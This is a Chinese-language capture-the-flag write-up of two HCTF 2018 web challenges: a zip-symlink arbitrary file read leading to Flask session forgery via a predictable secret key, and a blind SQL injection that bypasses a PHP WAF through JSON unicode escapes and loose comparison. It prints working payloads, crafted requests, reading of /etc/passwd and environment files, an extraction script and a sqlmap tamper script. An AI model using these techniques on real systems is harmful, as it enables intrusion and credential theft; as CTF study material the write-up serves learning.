HCTF WEB wp

HCTF的题目总体来说相当不错,部分题目质量很高,同时也有很多我没有考虑到的地方,这里记录一哈学习笔记。

hide and seek

这道题目质量相当不错,来源于实际。

Description

only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug

URL http://hideandseek.2018.hctf.io

Base Score 1000.00

Now Score 424.63

Team solved 25

  • Home
  • About
  • Contact

Sign in

For more information, please login.

然后随便一个用户就可以登录,登录后是一个上传界面

  • Home
  • About
  • Contact
  • admin@qq.coms
  • Logout

Hello, admin@qq.coms.

I will tell you a secret, but you should upload a zipfile first.

这里需要上传zip文件,猜测需要zip软链接任意文件读取,参考这篇文章

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $ln -s /etc/passwd link

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $zip --symlinks test.zip link

adding: link (stored 0%)

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $ls

link test.zip

上传文件

POST /upload HTTP/1.1

Host: hideandseek.2018.hctf.io

Content-Length: 459

Cache-Control: max-age=0

Origin: http://hideandseek.2018.hctf.io

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpFlNQbuY8hgJaFQ

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://hideandseek.2018.hctf.io/

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Connection: close

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ

Content-Disposition: form-data; name="the_file"; filename="test.zip"

Content-Type: application/zip

PK��

¶�kM

¹�)����linkUT �§óè[ªóè[ux���è��è�/etc/passwdPK����

¶�kM

¹�)����ÿ¡linkUT��§óè[ux���è��è�PK����JI

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ

Content-Disposition: form-data; name="submit"

Submit

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ--

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 03:30:44 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 1020

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/bin/false

nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false

messagebus:x:102:103::/var/run/dbus:/bin/false

这样就可以任意文件读取了。

最后在/proc/self/environ中读取到了一些有用的配置

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 03:49:09 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 775

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi

SUPERVISOR_GROUP_NAME=uwsgi

HOSTNAME=975f0d211f5a

SHLVL=0

PYTHON_PIP_VERSION=18.1

HOME=/root

GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

NGINX_MAX_UPLOAD=0

UWSGI_PROCESSES=16

STATIC_URL=/static

UWSGI_CHEAPER=2

NGINX_VERSION=1.13.12-1~stretch

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

NJS_VERSION=1.13.12.0.2.0-1~stretch

LANG=C.UTF-8

SUPERVISOR_ENABLED=1

PYTHON_VERSION=3.6.6

NGINX_WORKER_PROCESSES=auto

SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock

SUPERVISOR_PROCESS_NAME=uwsgi

LISTEN_PORT=80

STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fg

STATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

这里可以看到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:07:36 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 95

[uwsgi]

module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main

callable=app

rm link&&ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini link&&zip --symlinks test.zip link

然后读取相应文件

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py link&&zip --symlinks test.zip link

updating: link (stored 0%)

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 10:59:05 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 2703

# -*- coding: utf-8 -*-

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response

import uuid

import base64

import random

import flag

from werkzeug.utils import secure_filename

import os

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

app.config['UPLOAD_FOLDER'] = './uploads'

app.config['MAX_CONTENT_LENGTH'] = 100 * 1024

ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):

return '.' in filename and \

filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET'])

def index():

error = request.args.get('error', '')

if(error == '1'):

session.pop('username', None)

return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)

else:

return render_template('index.html')

@app.route('/login', methods=['POST'])

def login():

username=request.form['username']

password=request.form['password']

if request.method == 'POST' and username != '' and password != '':

if(username == 'admin'):

return redirect(url_for('index',error=1))

session['username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])

def logout():

session.pop('username', None)

return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])

def upload_file():

if 'the_file' not in request.files:

return redirect(url_for('index'))

file = request.files['the_file']

if file.filename == '':

return redirect(url_for('index'))

if file and allowed_file(file.filename):

filename = secure_filename(file.filename)

file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if(os.path.exists(file_save_path)):

return 'This file already exists'

file.save(file_save_path)

else:

return 'This file is not a zipfile'

try:

extract_path = file_save_path + '_'

os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)

read_obj = os.popen('cat ' + extract_path + '/*')

file = read_obj.read()

read_obj.close()

os.system('rm -rf ' + extract_path)

except Exception as e:

file = None

os.remove(file_save_path)

if(file != None):

if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):

return redirect(url_for('index', error=1))

return Response(file)

if __name__ == '__main__':

#app.run(debug=True)

app.run(host='127.0.0.1', debug=True, port=10008)

└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html link&&zip --symlinks test.zip link

updating: link (stored 0%)

  • Home
  • About
  • Contact

{% if user %}

  • {{ user }}
  • Logout

{% else %}

Sign in

{% endif %}

{% if user %}

Hello, {{ user }}.

{% if user == 'admin' %}

Your flag:

{{ flag }}

{% else %}

I will tell you a secret, but you should upload a zipfile first.

enctype="multipart/form-data">

{% endif %}

{% else %}

For more information, please login.

{% endif %}

{% if forbidden %}

>

{% endif %}

flask框架简化后如下:

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

app.config['UPLOAD_FOLDER'] = './uploads'

app.config['MAX_CONTENT_LENGTH'] = 100 * 1024

ALLOWED_EXTENSIONS = set(['zip'])

@app.route('/', methods=['GET'])

def index():

error = request.args.get('error', '')

if(error == '1'):

session.pop('username', None)

return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)

else:

return render_template('index.html')

@app.route('/login', methods=['POST'])

def login():

username=request.form['username']

password=request.form['password']

if request.method == 'POST' and username != '' and password != '':

if(username == 'admin'):

return redirect(url_for('index',error=1))

session['username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])

def logout():

session.pop('username', None)

return redirect(url_for('index'))

这里可以看到,我们无法以admin用户进行登录,就需要伪造admin身份,而且这里判断依据是user=session['username']。

但是这段代码看起来完美无缺,简短精憾,在不考虑0day的情况下,而且ctf题目一定有解(除国赛web2)的情况下。

所以问题只有可能出现在这里。

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

通过这些信息进行伪造admin用户。

需要序列号

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $rm link&&ln -s /app/main.py link&&zip --symlinks test.zip link

updating: link (stored 0%)

首先查看python的版本

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:03:57 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 257

from flask import Flask

app = Flask(__name__)

@app.route("/")

def hello():

return "Hello World from Flask in a uWSGI Nginx Docker container with \

Python 3.6 (default)"

if __name__ == "__main__":

app.run(host='0.0.0.0', debug=True, port=80)

根据python3.6的特征

app.config['SECRET_KEY']是这里的随机数

不过种子是random.seed(uuid.getnode()),也就是机器的mac地址(固定可读)

所以这里可以预测随机数

针对uuid.getnode()

读取/sys/class/net/eth0/address

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:05:38 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 18

Connection: close

12:34:3e:14:7c:62

最后需要的东西都已经齐全了,本地得到session然后直接在服务器端替换就好

最后

GET / HTTP/1.1

Host: hideandseek.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://hideandseek.2018.hctf.io/upload

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: _ga=GA1.2.1633104795.1541783595; _gid=GA1.2.2136505943.1541783595; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

Connection: close

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:48:43 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Vary: Cookie

Content-Length: 2336

  • Home
  • About
  • Contact
  • admin
  • Logout

Hello, admin.

Your flag:

hctf{2495e2ef667b367a0738f5eae9d6afb983c2}

kzone

这到题目相当不错,同时也显现了我代码审计的许多不足

www.zip源码泄露

├── 2018.php

├── admin

│ ├── delete.php

│ ├── export.php

│ ├── index.php

│ ├── list.php

│ ├── login.php

│ └── pass.php

├── config.php

├── Default account&password.txt

├── include

│ ├── common.php

│ ├── db.class.php

│ ├── function.php

│ ├── kill.intercept.php

│ ├── member.php

│ ├── os.php

│ └── safe.php

├── index.php

├── install.sql

├── robots.txt

├── Tutorial.txt

└── www.zip

以下是我代码审计的一种安全观,当然我个人比较喜欢全文通读代码,同时技术也比较菜...

/include/* 中就是很多函数的方法

/admin/* 就是管理员常用的一些功能

/* 就是外面展现给用户的一部分

Tutorial.txt

这里就是告诉数据库密码是md5保存的

而且2838778326根据google搜索可以知道这是钓鱼网站

/index.php

require_once 'include/common.php';

?>

Mobile phone unified login

  • placeholder="Input your KK_Account please">

Login

Login quickly

οnclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register

Retrieve password

这里只需要关注

require_once 'include/common.php';

在看

/include/common.php

error_reporting(0);

header('Content-Type: text/html; charset=UTF-8');

define('IN_CRONLITE', true);

define('ROOT', dirname(__FILE__).'/');

define('LOGIN_KEY', 'abchdbb768526');

date_default_timezone_set("PRC");

$date = date("Y-m-d H:i:s");

session_start();

include ROOT.'../config.php';

if(!isset($port))$port='3306';

include_once(ROOT."db.class.php");

$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';

require_once "safe.php";

require_once ROOT."function.php";

require_once ROOT."member.php";

require_once ROOT."os.php";

require_once ROOT."kill.intercept.php";

?>

这里$password_hash='!@#%!s!';理论上应该可以得到许多意想不到的东西

不过在这里,关注以下内容

define('IN_CRONLITE', true);

session_start();

/include/safe.php

function waf($string)

{

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-||\#|\s/i';

return preg_replace_callback($blacklist, function ($match) {

return '@' . $match[0] . '@';

}, $string);

}

function safe($string)

{

if (is_array($string)) {

foreach ($string as $key => $val) {

$string[$key] = safe($val);

}

} else {

$string = waf($string);

}

return $string;

}

foreach ($_GET as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_GET[$key] = $value;

}

foreach ($_POST as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_POST[$key] = $value;

}

foreach ($_COOKIE as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_COOKIE[$key] = $value;

}

unset($cplen, $key, $value);

?>

这里过滤了很多东西,使sql注入变的很棘手,不过没有过滤裸露的',同时,对参数的过滤没有过滤XFF

member.php

if (!defined('IN_CRONLITE')) exit();

$islogin = 0;

if (isset($_COOKIE["islogin"])) {

if ($_COOKIE["login_data"]) {

$login_data = json_decode($_COOKIE['login_data'], true);

$admin_user = $login_data['admin_user'];

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

if ($udata['username'] == '') {

setcookie("islogin", "", time() - 604800);

setcookie("login_data", "", time() - 604800);

}

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $login_data['admin_pass']) {

$islogin = 1;

} else {

setcookie("islogin", "", time() - 604800);

setcookie("login_data", "", time() - 604800);

}

}

}

if (isset($_SESSION['islogin'])) {

if ($_SESSION["admin_user"]) {

$admin_user = base64_decode($_SESSION['admin_user']);

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $_SESSION["admin_pass"]) {

$islogin = 1;

}

}

}

?>

这里首先判断了defined('IN_CRONLITE'),当然在common中定义了,意外着所有包含了'include/common.php'的文件都会进行member的审核。

然后首先判断有没有_COOKIE["islogin"]),在判断admin_user(当然是admin),同时进行数据库查询,如果没有成功查询,就返回两个set-cookie,后面admin_pass如果数据库查询的结果做比较,如果未果,就再返回两个set,当然这里需要注意使用了==,同时,数据库数据存储的是md5。

所以这里就可以采用经典的md5绕过,根据set-cookie来进行盲注。

当然大前提是得过waf。

而且这里admin_pass中采用了==,利用php的漏洞,可以直接数字与字符串进行比较,只需要前面数字部分匹配就好了。

最后fuzz可以直接得出

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

数据应该是在数据库中的,fuzz最后使用unicode编码绕过,思路:

union->\u0075nion

md5绕过

islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}

set-cookie盲住回显

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":1}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:28:58 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=r64690s2u5l79i1ib7eodiplo6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:28:27 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=jst6ilm633mcctc5plva3qg4n1; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin1","admin_pass":1}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:30:04 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=8f388a7k195v6j0dkdg7oejl37; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

这里所有/include/common.php的都会受影响

接着看

2018.php

2018.php

require_once './include/common.php';

$realip = real_ip();

$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");

if ($ipcount < 3) {

$username = addslashes($_POST['user']);

$password = addslashes($_POST['pass']);

$address = getCity($realip);

$time = date("Y-m-d H:i:s");

$ua = $_SERVER['HTTP_USER_AGENT'];

$device = get_device($ua);

$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";

$DB->query($sql);

header("Location: https://i.qq.com/?rd=" . $username);

} else {

header("Location: https://i.qq.com/?rd=" . $username);

}

?>

这里调用了real_ip()方法,在kill.intercept.php中定义,这里只贴简化代码

function real_ip()

{

$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);

$ip = $list[0];

}

if (!ip2long($ip)) {

$ip = '';

}

return $ip;

}

这里应该ip2long将ip转换为数字,再根据之前的分析ip已经没有注入漏洞了。

在safe.php过滤的情况下,其他*.php就不分析了,几乎可以通杀,登录到admin执行sql语句就会十分方便。

这里给出sql注入的方法

根据set-cookie的不同写脚本

import requests

import string

def test_once(index,s):

session = requests.Session()

paramsPost = {"login":"Login","pass":"1","user":"admin"}

cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}

response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)

flag = response.headers['Set-Cookie'].count('islogin')

if flag == 1:

print(index,s,'yes')

return True

elif flag == 2:

print(index,s,'no')

else:

print('[-] may be error,{}'.format(s))

return False

def hack():

ss = string.printable

num = 41

flag = ''

end = 0

i = 1

for i in range(1,num):

for s in ss:

if test_once(i,s+flag):

flag = s+flag

break

print flag

print flag

if __name__=='__main__':

hack()

a.txt

POST /admin/list.php HTTP/1.1

Host: kzone.2018.hctf.io

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://kzone.2018.hctf.io/admin/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Cookie: islogin=1;login_data=*

Connection: close

Upgrade-Insecure-Requests: 1

user=admin&pass=1&login=Login

/usr/share/sqlmap/tamper/hctf.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

data = '''{"admin_user":"admin%s","admin_pass":65};'''

payload = payload.lower()

payload = payload.replace('u', '\u0075')

payload = payload.replace('o', '\u006f')

payload = payload.replace('i', '\u0069')

payload = payload.replace('\'', '\u0027')

payload = payload.replace('\"', '\u0022')

payload = payload.replace(' ', '\u0020')

payload = payload.replace('s', '\u0073')

payload = payload.replace('#', '\u0023')

payload = payload.replace('>', '\u003e')

payload = payload.replace('

payload = payload.replace('-', '\u002d')

payload = payload.replace('=', '\u003d')

payload = payload.replace('f1a9', 'F1a9')

payload = payload.replace('f1', 'F1')

return data % payload

payload

┌─[thekingofnight@parrot]─[~/Temp]

└──╼ $sqlmap -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs

result

available databases [3]:

[*] hctf_kouzone

[*] information_schema

[*] mysql

剩下的就无脑操作了。

这到题目好像有写的权限,数据库里有一些不可名状的东西,服务器今天还中断了一段时间,联系出题人才修好。

自己的不足之处

1.json 反序列化时,会将Unicode 解码的特性,实现了完全绕过 WAF ,这里其实是我过滤的不够完善了。大家可以想一下,如果\ 也被过滤掉,还有没有其他姿势呢?

2.过滤了 or 导致没有办法通过 information_schema 库来查询表名,然而其实MySQL 5.7 之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

而从 install.sql 中可以看出,网站使用的正是innodb 引擎

CREATE TABLE IF NOT EXISTS `fish_admin` (

`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,

`username` varchar(20) NOT NULL,

`password` char(32) NOT NULL,

`name` varchar(255) DEFAULT '',

`qq` varchar(255) DEFAULT '',

`per` int(11) NOT NULL DEFAULT '3',

PRIMARY KEY (`id`),

UNIQUE KEY `username` (`username`)

) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

参考

php webp decode.h,HCTF两道web题目相关推荐

  1. 腾讯实习生面试2016两道面试题目?(知乎)

    腾讯实习生面试2016两道面试题目?修改 谢谢大神们高质量的回答,满满干货,excited ------------------------------------------------------ ...

  2. 2014年京东校招笔试中的两道java题目

    两道都是选择题 1,调用下面的函数的返回是(C) public static int testt() {try {return 1:}catch(Exception e){return 2;}fina ...

  3. CTFshow吃瓜杯的两道web

    Shellme_Revenge 在BsidesCTF2021中出过类似的题,利用的是一些数学上的trick 首先是注意到cookie中的hint,所以在请求中加上?looklook=1即可看到源码: ...

  4. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  5. 两道二分coming~

    第一道:poj 1905Expanding Rods 题意:两道墙(距离L)之间架一根棒子,棒子受热会变长,弯曲,长度变化满足公式( s=(1+n*C)*L),求的是弯曲的高度h. 首先来看这个图: ...

  6. 2018国赛数学建模B题两道工序代码

                              问题B    智能RGV的动态调度策略 图1是一个智能加工系统的示意图,由8台计算机数控机床(Computer Number Controller, ...

  7. 两道例题详解贝叶斯定理

    导读:本文首先讲解条件概率及贝叶斯定理,之后有两道例题,看看你都能答对吗? 作者:基思·斯坦诺维奇(Keith E. Stanovich).理查德·韦斯特(Richard F. West).玛吉·托普 ...

  8. 云和恩墨的两道Oracle面试题

    云和恩墨的两道Oracle面试题 真题1. 对于一个NUMBER(1)的列,如果查询中的WHERE条件分别是大于3和大于等于4,那么这二者是否等价? 答案:首先对于查询结果而言,二者没有任何区别.从这 ...

  9. 从两道基础二分算法题谈check函数的写法

    第一题:愤怒的牛 loj链接 两道题目都是基础二分的模板题,先看第一题,题意为总共有nnn间牛舍,mmm头牛,要将mmm头牛安排在nnn间牛舍,为防止牛互相攻击,使两头牛之间的最小距离最大!最大! 最 ...

最新文章

  1. 扩展sp_MSforeach
  2. 网页如何调用flash的方法
  3. Jquery操作Cookie取值错误的解决方法
  4. 正则表达式的20个小应用
  5. 超声波测距的数据应该如何显示到七针oled上_一文读懂京东方、TCL华星、三星显示和LGD之间的复杂关系...
  6. RNN梯度爆炸原因和LSTM解决梯度消失解释
  7. 年薪50万的程序员_985程序员年薪50万,看似风光,但当事人却想转行
  8. ASP.NET 2.0中合并 GridView 的表头单元格
  9. 【Oracle Database】Oracle GoldenGate (single-single)
  10. matlab假设网格颜色,MATLAB 画颜色网格图
  11. 黑科技神器-uTools,必须下载
  12. 达梦数据库DSC小记
  13. phpnow php升级,phpnow如何升级php版本
  14. simpson公式matlab实现,数值分析复化梯形公式复化Simpson公式MATLAB程序
  15. 浅谈网页设计中的构图
  16. B. Swaps(双指针)
  17. 矩阵最大覆盖问题:最多有多少个矩阵是重合覆盖的
  18. Onenote插入代码块
  19. 网络安全风险评估关键技术讨论
  20. div内图片和文字水平垂直居中

热门文章

  1. 适合甜蜜节日应用的霓虹海报模板!
  2. UI实用素材模板|天气应用app的ui设计
  3. c语言程序设计的实验仪器和设备,C语言程序设计实验.doc
  4. C++ 手动实现简单的智能指针类
  5. C++设计模式详解之抽象工厂模式解析
  6. 初级菜鸟程序员浅谈开源和共享精神
  7. 条件过滤(商品名称、价格以及商品类别的查询)
  8. GDB Checkpoints
  9. Linux指令:grep指令详解1
  10. koa2 mysql_koa2+vue+mysql 全栈开发记录